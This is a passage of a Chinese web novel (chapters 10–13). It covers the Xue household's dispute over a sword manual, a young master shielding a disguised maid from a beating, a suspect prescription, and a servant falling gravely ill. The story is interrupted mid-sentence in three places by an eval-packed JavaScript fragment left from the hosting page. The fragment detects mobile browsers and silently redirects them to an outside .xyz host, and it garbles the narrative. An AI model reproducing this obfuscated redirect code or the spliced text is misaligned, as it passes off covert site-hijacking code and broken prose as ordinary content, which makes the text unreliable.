紧接着两人的身影坍塌重组,化作薛槐安和薛阳和的模样,只见薛阳和挺起利剑,直直向薛槐安刺去…… “住手!”她想喊叫,喉咙却好似被无形之手扼住,发不出一丝声音来。 灯火渐弱,黑暗有如活物,贪婪地吞噬着一切。 不许…… “不许打了!” 火苗倏地一闪,灭了。 彻底被黑暗吞没之前,好像有一双温暖的手接住了她,温闲许的神思恍惚飘回在神山消磨的漫漫夏日午后。 师父的刀光在林间投下点点碎金,她蜷缩在老树根下,昏昏欲睡,忧心的事情无非是逮住的麻雀飞了、捉到的野兔跑了。 待她沉入梦乡,师父总会轻手轻脚地将她抱回小床上,他的怀抱洋溢着令人安心的气息,一如此刻。 * 许多人围着温闲许说话,像一群嗡嗡直叫的苍蝇,吵得她不得安生。 “她的伤势虽然看着吓人,幸好未伤及筋骨,并无大碍,待我给她包扎妥当,不日便可结痂。倒是二少爷你……本就气血两亏之体,又挨了万连碧一记重棍,只怕肺腑有所损伤,还不脱下衣裳让我瞧瞧?” “不准动我!你说她伤得不重,怎么会一直昏迷不醒?我看你分明是个半吊子医生,等你爹来再说!” “休得胡闹!观山已经在太医院苦学三载,马上要荣升太医了,以后找他看病的都是宫中的达官显贵,现在给你诊治,还敢嫌弃人家!” ……地府里竟如此吵吗? 温闲许不耐烦地转过头,却牵动了背上伤口,传来一阵针扎似的疼痛,她不禁泄出一声:“嘶……” “催什么催,无虞姑娘这不是醒了吗!” 无虞姑娘?温闲许困惑了,鬼差为何叫她当丫鬟时候的名字,难道……她没有死? 好奇驱使着她睁开眼睛,入目是一张全然陌生的床榻,金黄的夕阳自轩窗流泻而入,将室内覆上一层暖融的光晕。 先是一缕雀跃蹿上心头:她竟然扛下了整整十棍,看来之前胡乱学的护体功夫还真有点用处! 随后又是一惊:自己竟被不知哪来的登徒子揽在怀中! 更令她羞愤的是,阵阵凉意从背上袭来,她的衣衫好像被人褪去了半截!伤口大咧咧暴露在空气中,泛起一阵绵密的疼痛。 温闲许哪还顾得上伤势,猛地发力一挣,登徒子猝不及防被她推开些许,她终于瞧见了他的真面目。 她倒要看看是哪个不要脸的家伙! 却见隽秀的眉眼因疼痛扭作一团,登徒子的脸她今日已不知见了多少回—— 薛槐安没事抱着她干嘛! “你安分点。”薛槐安身上也有伤,此时疼得龇牙咧嘴,却固执地把她脑袋按回自己肩头。 温闲许领教过他的喜怒无常,决定不与他计较,而且她现在有更要紧的事要问:“冬青姐姐在哪?她只是一时昏了头,你不会真让她去服侍大少爷了吧?” “当然没有,她回房里歇着去了。” 得到了薛槐安的答复,温闲许如释重负地舒了一口气。 一个陌生的声音插话道:“你们一个两个的,自己都什么样了,还惯会关心别人,真叫人不省心呀。” 温闲许这才注意到他们旁边还站着一个人。 此人生着一双多情的桃花眼,眼波流转间自带三分风流,身穿一件花哨的天青缠枝莲直裰,领口却松垮地大敞着,露出光洁的胸膛,活脱脱一副浪子模样。 她的目光微微偏移,却见屋中不止他们三人,不远处还站着薛懿,门口廊下,还有王生欢、薛阳和二人。 她不过昏了半个时辰,薛懿怎么会出现在这里?眼前的浪荡子又是何人? 刚才半梦半醒间,好像听见有人叫“观山”来着…… 薛懿忍不住道:“她醒来了,你总该闹够了?快让观山给你看看!” 沈观山笑眯眯地接话:“老爷都发话了,少爷倒是把衣服解开呀!” 薛槐安偏不顺他们的意:“你先给她包扎!” “好吧好吧,拗不过你。”沈观山投降了,“不过你这样抱着她,叫我怎么动手?” 薛槐安这才把温闲许松开,让她趴在床上,又把床幔放下,警惕地盯着沈观山:“把你的衣领拢好了,不准对她动手动脚!” 沈观山不服气地嘀咕道:“行行行!你这小丫头有什么稀罕的?给我递帕子、送香囊的美人儿数不胜数,我还瞧不上她呢……” 冰凉的药粉洒在温闲许的伤口处,激得她打了个哆嗦,又生生将呜咽吞了回去。 见薛槐安如此宝贝一个小丫鬟,薛懿气得吹胡子瞪眼,终于说回了正事:“好了,今天到底怎么回事,好端端的,万连碧怎么会发狂!” 薛懿心中不甚痛快,老友李仙洲刚结束京郊观星之游,由于比预计时间提前了几日,他临时起意将接风宴改在了府中。 一回来,不见妻儿踪影也罢了,不料一口酒还没有下肚,便有人报告万连碧竟在停云轩里突发狂症,见谁打谁! 他匆匆赶到停云轩,好不容易将万连碧制住,又见薛槐安抱着一个浑身是血的丫头不肯撒手,闹着要找大夫。 偏巧府医出门采购药材去了,幸好他儿子沈观山今日休假在家。沈观山自幼随他爹学习医术,又去太医院深造了三年,薛槐安居然还对他挑三拣四,气得薛懿眼冒金星。 现在小丫头上药去了,薛槐安终于消停,他才终于得空盘问。 薛阳和恶人先告状:“父亲明鉴!孩儿今日发现弟弟窃取家传剑谱,他非但不承认,还纵容恶仆拿开水泼我!娘气不过,才……才把万连碧带来的。” 回想到刚才的场面,薛阳和仍有些后怕。娘虽答应饶小丫头一命,可万连碧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800065|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的十棍岂是寻常人能扛住的?小丫头没挨几下就晕了。 薛槐安果然拿她当心肝宝贝,见喝不住万连碧,竟毫不犹豫地以身相挡,他们还来不及反应,薛槐安已然挨了一闷棍。 他们能纵着万连碧打死一个藉藉无命的小丫鬟,还能眼睁睁地看他把薛槐安打死不成? 于是一时间十几个下人们全都上去拦,谁知万连碧战斗力强得惊人,把他们带来的人几乎全部打伤了,靠春杳与岁昭勉强拖着,直到父亲来了才把他控制住。 薛懿猛地拍案,喝道:“万连碧月半时最易狂躁,平日十五都不上工,他在府中呆了近十年,你们难道不知道吗!” 薛懿素来对正妻嫡子多有包容,鲜少有如此疾言厉色之时。 经他一凶,王生欢的眸中顿时泛起盈盈水光:“可是老爷,槐安欺人太甚,自己偷窃府中物品不说,担心事情败露还命下人烫伤阳儿,这口气教我怎么咽得下?” 薛槐安辩白道:“书不是我偷的,烫伤一事也是因他想强抢我的书,不慎撞上了奉茶的下人,才会溅了一身水!” 薛懿终于捕捉到了关键信息:“书?什么书?” 薛阳和说:“是咱们家传的剑谱,父亲一直珍藏在书柜的,好像叫《吞月剑谱》来着……” 薛懿半天才想起薛阳和所谓何物,目光竟有几分闪烁,忽然,一道清越男声破空而来:“懿兄,我当年赠你的剑谱,怎么几年过去,竟变成你们家祖传的了?” 一道人影步入室内,在场的人齐齐朝他行礼:“李监正!” 来人好像名头不小。 温闲许想拉开床幔去瞧,沈观山却突然加重了手上的力道,疼得她泄力地趴了回去,只能透过纱帘看见一道模糊身影。 她不满地瞪着给她抹药的人,却见沈观山对她做了个“嘘”的手势,俯下身在她耳边悄声说道:“老实点,李大人势头如日中天,短短几年便爬到了钦天监监正之位,被他盯上了可没有好下场。” 他的手指轻轻摩挲着自己的下颌,意有所指。 温闲许顿时明白了他的意思:她的人皮面具!难道是刚才被打的时候表情太狰狞,导致面具与皮肤有缝隙了? 她刚刚醒转,意识还有些混沌,手已经先行一步去摸脸与面具的贴合处,却是摸到一片光滑。 ——中计了! 她看沈观山的眼神更加愤怒,对方却朝她露出一个“我什么都没有说哦”的无辜眼神。 温闲许说:“你不要多想,我刚才只是脸有点痒。” 沈观山笑眯眯的:“巧了,在下也是。” “……” 帐外,薛懿上前迎接道:“祖传之言不过犬子的玩笑话,仙洲老弟怎么不好生在前厅候着,跟到这里来了?” 李仙洲道:“我见懿兄走得着急,似乎府中出了急事,便想着能不能替兄分忧,没想到刚好给槐安证明了清白。” 薛阳和的语气稍显犹豫:“这是监正……送给他的书?” 这剑谱市面上没得卖,薛阳和只在薛懿的书架上见过,便下意识将它当作了家传的。 “对呀,这可是我之前下江南淘到的宝贝,正好槐安认祖归宗,我便赠了他们父子一人一本。” 李仙洲好像忽然想到了什么,眼珠一转,冲薛阳和笑道:“噢,可惜当时只淘到了两本,倒是没有多余的送你了。” 11. 旧友 薛阳和脸色一阵青一阵白,半晌才憋出一句:“或许是我错怪弟弟了。” “错怪!”好友似笑非笑的眼神令薛懿心生尴尬,他提高音量道,“你平素与槐安最不对付,怎么会好心来停云轩探望他?我看你打一开始就没安好心!” 薛阳心思被说中,支吾道:“我、我……” 旁边的王生欢心急如焚,她本来都想好了如何斥责薛槐安品行低劣、胡作非为,谁知道半路杀出个李仙洲来? 有他作证,薛槐安偷书的言论不攻自破,更棘手的是,丈夫明显偏向薛槐安一边。 今日没能杀薛槐安的威风不打紧,但若因此让老爷觉得阳儿乃随意污蔑他人清白之人,才真真糟透了! 她望着李仙洲的目光流露出一抹恨意,有他在的地方准没好事! 说来,薛槐安能回归薛家也多亏他。若非李仙洲去外面转了一圈,“恰巧”认出了薛懿的野种,还“好心”地将人领了回来,流落在外十年的薛槐安哪有机会认祖归宗? 她王生欢又如何会沦为长舌妇的笑柄? 现在李仙洲又冒出来,说给薛槐安也送了一本一模一样的书,谁知道他九年前有没有送?局势倒是瞬间逆转了。 王生欢强迫自己冷静下来,她勉强挤出一个笑容:“阳儿以为槐安偷拿了老爷的东西,情急之下没有细究,是阳儿的疏忽。如今看来,窃书之事不过一场误会。 “不过,他蓄意伤害阳儿一事假不得!从小到大,阳儿一直由我精心照料,连跤都没摔过几回,如今变成这副模样,让我一个做母亲的如何不做心痛!” 在帐中偷听的温闲许翻了个白眼,不知道的,还以为薛阳和奄奄一息了呢。 薛懿却有几分动容,薛阳和锦衣玉食地长大,今日受的委屈,对他而言实属前所未有。 李仙洲率先出声道:“嫂嫂,你罚也罚了,还不解恨么?槐安背上的伤瞧着可比阳和严重多了,脊背何等要害之处,稍有差池便会致残。懿兄可还记得,陛下不久前罚了刘侍郎一棍,也在背上,可怜的刘侍郎至今还在床上瘫着。” 他叹了一口气:“即使槐安当真偷了书、烫伤了阳和,嫂嫂何至于要毁他一生呢?” 王生欢急忙说自己没有指使万连碧杖责薛槐安,薛懿没有理会,毕竟若非亲眼所见,谁能想到堂堂少爷会去给一个丫鬟挡棍呢? 李仙洲的话让薛懿神情阴沉下来,他与薛槐安的娘虽然是露水情缘,但薛槐安终归是他的骨肉。而且自己平日对王生欢有求必应,没想到她竟歹毒至此,要害他的孩子沦为废人! “住口,阳和习武十几年,连个丫鬟也躲不过吗?活该被烫!武艺如此拙劣,去赴任岂不是让别人看笑话?从今天起,阳和文武师傅的课业各延长一个时辰,宴会之前不许出府厮混!” “不要啊!”薛阳和哀嚎一声,他今日干嘛一时兴起来看薛槐安的笑话?这下好了,他也被禁足了! 薛懿又对王生欢说道:“你一味溺爱阳和,教子无方、黑白不分,险些酿成大祸,哪有当家主母的样子?宴会之前,你也待在屋里好好反省!” 王生欢大惊失色,尖叫道:“老爷!” 她刚想撒几句娇,试图把此事揭过,不料薛懿毫不留情地赶人:“还不快走?少在这里丢人现眼!” 纵使两人再心有不甘,此时也只得灰溜溜地走了。 薛懿的目光落到薛槐安身上,面色稍霁:“万连碧已经被关入儆尤堂中,生欢、阳和我也罚了,你不要再使小性子,快让观山看看你的伤势……” 薛槐安却不见喜色,冷哼道:“若不是要闹出人命了,父亲恐怕眼皮子都懒得抬一下。幸好今日有李叔证明我的清白,不然我跳进黄河也洗不清!” 薛懿气急:“你——” 大儿子欺软怕硬,小儿子桀骜难驯,没有一个让他舒心的! 李仙洲适时出来打圆场:“懿兄也该站在槐安的立场想想。来的路上,我听说嫂嫂差点把他喜欢的丫鬟活活打死,心上人被如此对待,换谁谁不生气? “懿兄刚遇见嫂嫂时,与槐安现在差不多大吧?如果当时有人伤了嫂嫂,你能因轻飘飘一句‘罚都罚了’,就冰释前嫌吗?” 喜欢的丫鬟?温闲许心跳漏了一拍,今天被打的丫鬟除了她还有谁? 而且薛槐安刚才一直抱着她,难道…… 薛懿道:“哼,我才没有他那般情痴!” 李仙洲道:“槐安情深意重,岂非一件好事?不如今晚先让他一个人静静。再不喝酒,咱们可要辜负这月色咯。” “仙洲弟说得是。你早点歇息,阳和他……少年心性,你不要记恨他。爹知道你受委屈了,打明儿起,不再拘着你了。” 说完,薛懿、李仙洲两人便要往外走,薛槐安冷不丁叫住薛懿:“父亲前阵子光叫兄长去考锦衣卫,都不知会孩儿一声,教孩儿好伤心。” 薛懿不答反问:“你当锦衣卫是什么好活?刀尖舔血、如履薄冰!诏狱里关押的尽是穷凶极恶之辈,他们的目光都能把你撕碎几回了。” 温闲许在心里骂道:我呸!什么穷凶极恶?我看里头最可恶的,就是你这个锦衣卫头子! 薛槐安挑眉道:“父亲未免太小看我。” 薛懿无奈:“等你身体痊愈了,我自会安排。” “我倒是看出了你给孩儿安排的好差事。”薛槐安直勾勾地盯着他,面露讥讽之色,“便是在停云轩等死!” 薛懿情绪终于爆发:“薛槐安!你越长大,性子越顽劣了!” 他拂袖而去,李仙洲跟上去劝道:“年轻人有上进心是好事,懿兄应当高兴才是,别气坏了身子。” 出门前,他又对薛槐安说:“等消气了,记得给你爹道个歉。” 一帘之隔,温闲许眼巴巴地看着他们走远了。李监正分明是个大好人!都怪混蛋沈观山阻挠她,害她连李监正长什么样都没看到。 “好了没有?”温闲许没好气地问。 “马上……”沈观山在绷带末尾打了一个漂亮的蝴蝶结,觉得自己手艺见长,“大功告成!” 他转头对薛槐安道:“喂,到你啦。” 床幔外好一会没有动静传来,温闲许忍不住掀开帘子去瞧——这回沈观山没有拦着她。 只见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800066|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 薛槐安依然望着两人离去的方向,刚好叫温闲许瞧见了他的背。点点殷红自他背上泅开,在白衣上格外显眼,伤势果然很重。 李监正刚才说的“喜欢的丫鬟”又浮现在温闲许耳畔,她心念一动,问道:“少爷,你怎么也挨了一棍?” 她有模有样地分析:“你是少爷,身子骨又弱,夫人肯定不敢打你,莫非是替我挡……” “不关你的事!”薛槐安匆忙打断了她,不知是不是温闲许的错觉,小少爷的耳朵尖好像红了一点。 薛槐安回头瞪了沈观山一眼:“你也不许乱说!” 沈观山无语了,他和老古板们斗智斗勇,好不容易休假一周,被逮过来给薛槐安和他的相好看病就算了,还要受人威胁,他招谁惹谁啦! 想到太医院里前辈们的闲聊,他毫不怀疑若薛槐得势,肯定会变成“如果她治不好,你们全都给她陪葬”的狗官。 “……我还懒得多费口舌呢。” 她还懒得知道呢! 温闲许翻过身去,背对着他们。她的身体已经到了强弩之末,伴着沈观山与薛槐安有一搭没一搭的闲聊,迷迷糊糊睡过去了。 薛槐安的伤口有尺余长,几乎贯穿整个背部,皮下渗出紫红色的淤血,乍一看,仿佛背上趴着一只狰狞的巨大蜈蚣。 万幸未伤及脏腑。 沈观山一边给他上药,嘴巴也没有闲着:“小爷我终于能出来透几天气了……太医院的老古板规矩太多,能把人憋死!对了,听说林昔何前几日回京了,他来看过你没有?” 林昔何,两人少时的玩伴,十四岁随其父林将军镇守边疆,至今不过七八年光景,大大小小加起来打了上百场胜仗,已经是威震边关的少年将军。 薛槐安摇摇头:“没有,据说人家把蒙古人打退了几百里,这会儿估计忙着赏爵封官呢。” 沈观山忿忿不平道:“没良心的,飞黄腾达了就忘了我们,以后受伤了可别落入我手里,我非得给他用最烈的药不可,疼不死他,哈哈!” 有时候,薛槐安觉得自他小时候与沈观山认识以来,沈观山的脑子好像一直没有发育过:“……” 沈观山最喜欢八卦,见温闲许睡着,便想方设法地把话题往她身上引。 “你又不是不知道万连碧的疯劲,逞什么英雄?若这棍再偏一寸,你下半生就只能坐在轮椅上了!还说什么当锦衣卫,我看做乞丐还差不多。” 薛槐安果然上钩:“我不上去挡,难道让她被打死不成?” 沈观山道:“快说说,我不在的时候发生了什么大事?之前院里住着一个水灵灵的冬青美人都不为所动,我还以为你有什么隐疾呢!” 他冲温闲许的方向挤眉弄眼:“难道你喜欢这款的?” 薛槐安皱眉道:“少胡说,她毕竟因我才被罚,我岂能置她于不顾?” “美救英雄、英雄救美,好精彩啊!”刚刚观赏了薛阳和几人一出大戏,沈观山也把前因后果了解得七七八八。 “不过——”他话锋一转,望向床榻上熟睡之人的眼神变得意味深长,“她瞧着不像普通丫鬟,你可得多长个心眼。” 12. 药方 没想到薛槐安神色如常:“我知道。” 沈观山眼中闪过一抹诧异,难道薛槐安知晓小丫鬟的真实身份,故意将她留在身边的? 他还想细问,薛槐安却岔开了话题:“你几时考试?” 沈观山自幼跟随父亲在薛府学习医术,医理早已倒背如流,对考试的时间不甚上心:“老古板们嫌天气太热,只说等处暑过了再考。” 他转念一想,薛槐安都不着急,他操什么心?转而插科打诨道:“以后见面,就得叫我沈太医啦!” 闻言,薛槐安微微一笑:“是啊,你要当太医了,林昔何也成为了征战沙场的少年英雄。” ——而他呢? 尽管薛槐安没有说出口,沈观山也明白他的未尽之意。 沈观山思绪不禁飘回小时候,他大部分时间呆在薛府中,大少爷薛阳和瞧不上他一个府医之子,年纪相仿的小厮们又要干活,直到薛槐安出现,他才有了第一个朋友。 一次宴会上,两人偶然结识了登门做客的林将军之子林昔何,此后他们三人常常在薛府见面,过从甚密、无话不谈。 再后来,林昔何被父亲带去了边疆,他也去太医院进修,只有薛槐安还留在原地。 片刻恍惚之后,他又露出了恣意的笑容:“等我学成归来,肯定分分钟治好你。” 薛槐安不置可否:“好啊,我等着你。” 沈观山忽然想到另一件事:“对了,你信里说要给我看的东西呢?” 薛槐安指着桌上的药碗:“喏,瞧去吧。” 虽然今天意外频生,薛槐安的药仍然雷打不动地准时送到。沈观山走过去一看,案上药碗盛得满满当当,显然不曾有人动过。 沈观山叹息着摇头:“可怜我爹日日煞费苦心给你煮药,一点也不知道珍惜。为何突然让我查这个?莫非……你怀疑药有问题?” 他不过随口一问,却见薛槐安点头道:“我先前一直服用沈伯伯开的药方,虽然尚未痊愈,但明显感觉到身子渐渐有了起色。可自从换了新药方之后,总有些说不出的奇怪。” 薛槐安眸光幽深了几分:“而且我与老头子、沈伯伯都说过,新方子不如旧方子好使,可他们不仅没把药方换回来,还吩咐春杳盯着我喝完。” 沈观山思忖道:“此事确实蹊跷。” 行医乃经验之谈,药方需要根据患者的用药后的反馈时时调整,既然薛槐安已经觉出不对劲,为何不换回之前的药方? 薛槐安问:“你有从你爹嘴里打听出药材吗?” “我爹嘴向来最严了,你又不是不知道。”沈观山与他爹的理念不同,他爹向来一板一眼,平时的方子都得有古籍为依据,沈观山则百无禁忌,自创出不少用药方法来。 给薛槐安换药方一事他也有所耳闻,薛懿不知从哪弄来副方子给他爹煮,他爹便老老实实地煮了好几个月。他爹还把药方藏得严严实实的,煮药也亲力亲为,让他找不到可乘之机。 他把药端起来嗅闻,却闻见一股特别的味道,似兰花若有若无的幽香,又多了几分薄荷的冷冽。他思索半天,终于想到在何处闻过。 前些日子湖广向朝廷进贡了一些苗疆药材,太医院的老古板们研究了一会,觉得它只能专门治疗苗疆的瘴气,故而一直把它们放在生药库中。 他去生药库拣药时闻到了不同寻常的香味,故而问了一嘴。 他皱眉道:“里面有一味专治瘴气的苗疆药物,可你从未离过京,哪来的瘴气?给你使这味药干什么?” “瘴气?苗疆?”薛槐安也觉得不可思议,“我的病根乃幼时溺水落下的,与瘴气有什么关系?” 沈观山从怀中掏出一个小巧精致的药囊,倒了些药汁进去:“待我回去仔细瞧瞧,看看能不能分辨出其他药材。” 薛槐安说:“好,看不出来就罢了,千万不要让别人瞧见,免得惊动老头子。” 沈观山冲他挑眉道:“我做事,你还不放心?” 见好友一副郁郁寡欢的模样,沈观山又对他说了不少太医院的逸事,譬如哪个滑头鬼谎称肚子疼,结果被夫子堵在莺燕坊里捉了个现行…… 他讲得有趣,薛槐安紧绷的神情渐渐松动,也跟着笑了起来。直到薛槐安的伤口也处理完,时间已经不早,沈观山才离开。 * 温闲许一连睡了好几日。 她中间醒来过几次,有时候是白天,有时候是半夜,清醒时间不超过半个时辰,又沉沉睡去。 夜里雷声不断,她最怕电闪雷鸣的雨夜,睡得很不安稳,辗转反侧,意识浮沉。 半梦半醒之间,好像有人守在她的床边,替她掖紧被角,拭去额间冷汗,奈何她的眼皮似有千斤重,掀不开半分。 不知过了多久,温闲许终于觉得神清气爽。她从未睡过这么久的觉,浑身筋骨都睡得软软的,背上的伤疤虽然还是疼痛,已没有先前那样难以忍受。 温闲许刚想活动活动自己疲懒的身子,却见半开的轩窗上突然冒出半张脸来! 等来人露出全貌,温闲许才发现是虚惊一场:站在外头的人是春杳。 “无虞姑娘你醒啦,今天身子好些了没有?” 几日来,春杳已经成为了这扇轩窗的常客,他时不时给温闲许带点消遣时间玩意,比如蛐蛐、连环画本等等,可惜温闲许无福消受,都堆放在了床头、床底。 “谢谢你的记挂,我好多了,不过……”温闲许环视一圈,她还在之前的房间里,“这是哪儿?” “少爷卧房的碧纱橱里。” 春杳说,因她与冬青都病了,少爷担心她们在同一间房会互相过了病气去,便把她安置在了这里。 见院里唯一肯听他絮叨的人醒了,春杳的话匣子一打开便收不住,好像要把温闲许睡着的时间也补回来。 他绘声绘色地和温闲许描述她晕厥之后的场面,只差一块惊堂木在手,便与茶楼里的说书先生无二了。 “当时好生惊险!万连碧狠狠打了四棍,你顿时昏了过去,少爷厉声喝道‘住手’,谁知他充耳不闻,又把棍子高高举起!说时迟那时快,少爷猛地扑上去把你护在身下,万连碧的棍子砸到了少爷背上……” 春杳话中的信息太多,温闲许听得一愣一愣的:“我只扛了四棍?少爷背上的伤真的是替我挡的……对了,少爷的伤怎么样了?” “沈公子医术高明,少爷两天之后便能硬撑着去书房看书了,倒是你比较令人担心,昏迷了好几日。” “少爷现在还在书房中吗?” “少爷见你一直不醒,今天一大早便去找沈府医了。” 一股陌生的情绪忽然裹住温闲许的心口,酸涩难当,春杳犹自说道:“少爷刀子嘴豆腐心,只是有时候执拗了一些,其实对我们还挺不错的。 “外头是不是还有人说少爷吃丫鬟的谣言来着?你可千万别信。偷偷告诉你,佩兰姑娘与情人私奔一事,还是少爷想她们有情人终成眷属,特地支走守门的侍卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800067|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让我们把她送走的哩……” 温闲许不禁回想到她第一次听到薛槐安吃丫鬟传言的时候,心道:幸好她当时没信叶葵的话,薛槐安果然是好人! 春杳抖少爷老底抖得正起劲,冷不丁听见了少爷的声音:“你们在说什么?我也想知道。” 春杳的脑袋从轩窗上消失了,外头好一会才传来他心虚的声音:“……少爷好,沈公子好。” 房门被打开了,外头几人很快出现在温闲许眼前。 只见薛槐安冷着一张脸,看上去不高兴极了,沈观山挂着招牌式的狐狸笑,兴味盎然地盯着她,两人身后跟着面无表情的岁昭,以及垂头丧气的春杳。 知晓薛槐安真的给她挡了一棍之后,温闲许莫名有些不敢看他,视线一偏,恰好落在了沈观山身上。 温闲许顿时如同炸了毛的猫,恶狠狠瞪了过去,生怕沈观山已经把她的秘密抖落出去。却见薛槐安除了吩咐沈观山替她察看伤势之外,再无其他动作。 看样子,沈观山好像没有把她易容的事情告诉薛槐安。 她不情不愿地把手拿出被窝,给沈观山诊脉。 薛槐安突然对春杳开口:“你去院门守着,别叫莫名其妙的人再闯进来。” 春杳虽然心中发虚,仍壮着胆子抗议道:“凭什么不让岁昭去?我也想知道无虞姑娘现在身体如何了。” 薛槐安冷笑道:“凭你有个漏勺一样的嘴。” 春杳眼观鼻鼻观心,灰溜溜地去了。 这厢沈观山检查完,睨了薛槐安一眼:“急什么?多等一刻也不成,非得大早上把我揪来?最近天热,无虞姑娘伤口有些发炎,因低烧多睡了几日,现在炎症已消,自然就醒来了。” 薛槐安示意岁昭拿来纸和笔:“来都来了,开张方子,让她好得快些!” 沈观山扶额:“是药三分毒,眼下她只需要清淡饮食、静养便是。” 没想到沈观山瞧着不靠谱,医术倒有两下子。温闲许在床上窝了数日,刚想活动一下筋骨,薛槐安却一个箭步冲上来,不由分说将她按了回去:“别乱动,没听见他说你要静养?” 沈观山对薛槐安的举动简直没眼看:“让她活动活动也好,只要动作幅度别太大,伤口别沾水就行。” 他目光凉飕飕地扫向薛槐安:“你背上那伤痂都还没结,你不照样到处乱跑?管别人倒勤快,自己怎么不老老实实在床上躺着?” 温闲许睁大了眼睛:“少爷你……” 一个两个都揭他的老底,薛槐安不自在地东瞧瞧、西看看,终于想到隔壁房里还躺着一个生病的冬青。 他急忙推了推旁边的岁昭:“快!带他去给冬青瞧瞧!” “得了,敢情我就是你们轩的轩医呗!你们这轩子也真邪门,拢共五个人,其中三个都病歪歪的,可够我忙活的!” 沈观山一边嘟囔,一边跟着岁昭走了出去。 脚步声逐渐远去,屋内只剩下温闲许与薛槐安两人。 自从王生欢上门大闹一通之后,两人还是头一回在彼此清醒的情况下单独相处。空气仿佛停止了流动,薛槐安清了清嗓子,目光飘忽不定,耳根微微发热,似乎有话要说。 “你……” “少爷,不好了!”一向沉着冷静的岁昭却急匆匆地闯了进来,打断了室内旖旎的氛围。 薛槐安刚要斥责他的鲁莽,岁昭接下来说的话却让他脸色骤变。 “冬青姑娘要不行了,您快去看看吧!” 13. 苗医 冬青的病还没好吗? 温闲许一骨碌从床上爬起来,三人急匆匆往冬青屋里赶去。 榻上的美人可怜地蜷着身子,像一朵即将枯萎的玫瑰。 多日未曾梳洗,冬青的里衣像枯叶一样皱巴巴的,丧失光泽的长发凌乱地散落在枕席间,平时干净白皙的脸颊上也浮现两抹病态的酡红。 即使亲眼见到了气息奄奄的冬青,温闲许一时间还是无法接受现实。 初见时冬青手捧冰盆的样子宛如昨日,为何转眼间就灯枯油尽? 冬青跪地哀求薛阳和母子的画面蓦地撞入脑海,温闲许顿时转头望向薛槐安——难道他骗了她?在她失去意识之后,薛阳和母子还对冬青下了手? 一连几人进进出出,闹出了不小的动静,可冬青犹在睡梦中,没有醒来。不过她紧皱着眉头,显然睡得不甚安稳,唇齿间不时溢出几声模糊的梦呓。 沈观山指腹搭在冬青腕间,凝神细探:“她高烧多长时间了?” 岁昭回答:“一个时辰前我曾探望过冬青姑娘,当时她神志尚且清醒,还能同我说话。” 他尽量让语气平静下来,不安摩挲衣物的手却出卖了他的忧心忡忡:“沈公子,冬青姑娘不过前些天受了点暑热,怎么会这样?” 沈观山摇摇头:“冬青姑娘脉象虚弱,绝非暑热引起,幸好她高烧的时间不长,我有一个方子可以暂时压制她的心火,能不能挺过去就要看她自己了。” “不是暑热?”温闲许难以置信地说道,可冬青先前显露的,分明是再寻常不过的中暑之症啊! 人命关天,她搁置了对沈观山的警惕,追问道:“她究竟得的什么病?” 沈观山坦诚地摊开手:“我也不知道。” “突然高烧,昏迷不醒……”岁昭忽然打了一个冷颤,手指死死攥住薛槐安的衣袖:“一样的,少爷,和她们一样!” 什么她们?温闲许丈二和尚摸不着头脑,觉得岁昭此时像中了邪似的,有些瘆人。 薛槐安狠狠打落他的手:“冷静点!” 岁昭好像找回了神志,闭口不言了。 “你听说了没有?京里前些日子来了个……”沈观山刚起了个头,却见薛槐安一声不吭地朝外走去,急得大喊,“你要去哪?” “都说你是庸医了,我找你爹去,让他给冬青看看。” “别白费力气了,夫人有令,府医们须日夜值守在大少爷院中,直到大少爷伤好了为止。” 薛槐安步伐一顿,不可置信道:“她眼看着我们受伤,还让府医都围着薛阳和一个人转?” 薛懿不喜外人谈论他的家事,因薛槐安一直病着,索性聘了几个大夫常驻府中,专职为府中人诊治伤病,且立下了无论主子奴才,一律不得找外面医生的规矩。 沈观山虽不在府医之列,但他毕竟是薛懿看着长大的,在薛懿心中算不得外人。因此,薛懿才默许他几日前给薛槐安、温闲许二人诊治。 沈观山说:“对啊,幸好太医院考前让我们休一周假,不然你们现在病都没地看去!还敢嫌我的医术,哼……” 他悠悠叹气道:“别说我爹了,换哪个府医来都一样,他们常年在府里,如何见过冬青姑娘这么奇怪的情况?” “少爷,我们该怎么办?”岁昭紧张地说,“难道也要让她和之前的人一样病死吗?” 什么之前的人?温闲许心道,岁昭今天怎么怪怪的,说的话总叫她听不明白。 不待温闲许出言询问,沈观山又拾起了刚才被打断的话。 “京里前些日子来了个性格古怪的苗医,他刚来没几日,便治好了许多离奇怪病,说不定冬青姑娘的病他也有对策。 “你先前托付我之事,或许亦能从他身上找到答案。” 沈观山后半句指的,正是薛槐安更换药方的疑点。 薛槐安眸中星火乍现,不管是为冬青还是为自己,他都非得见一见此人不可! 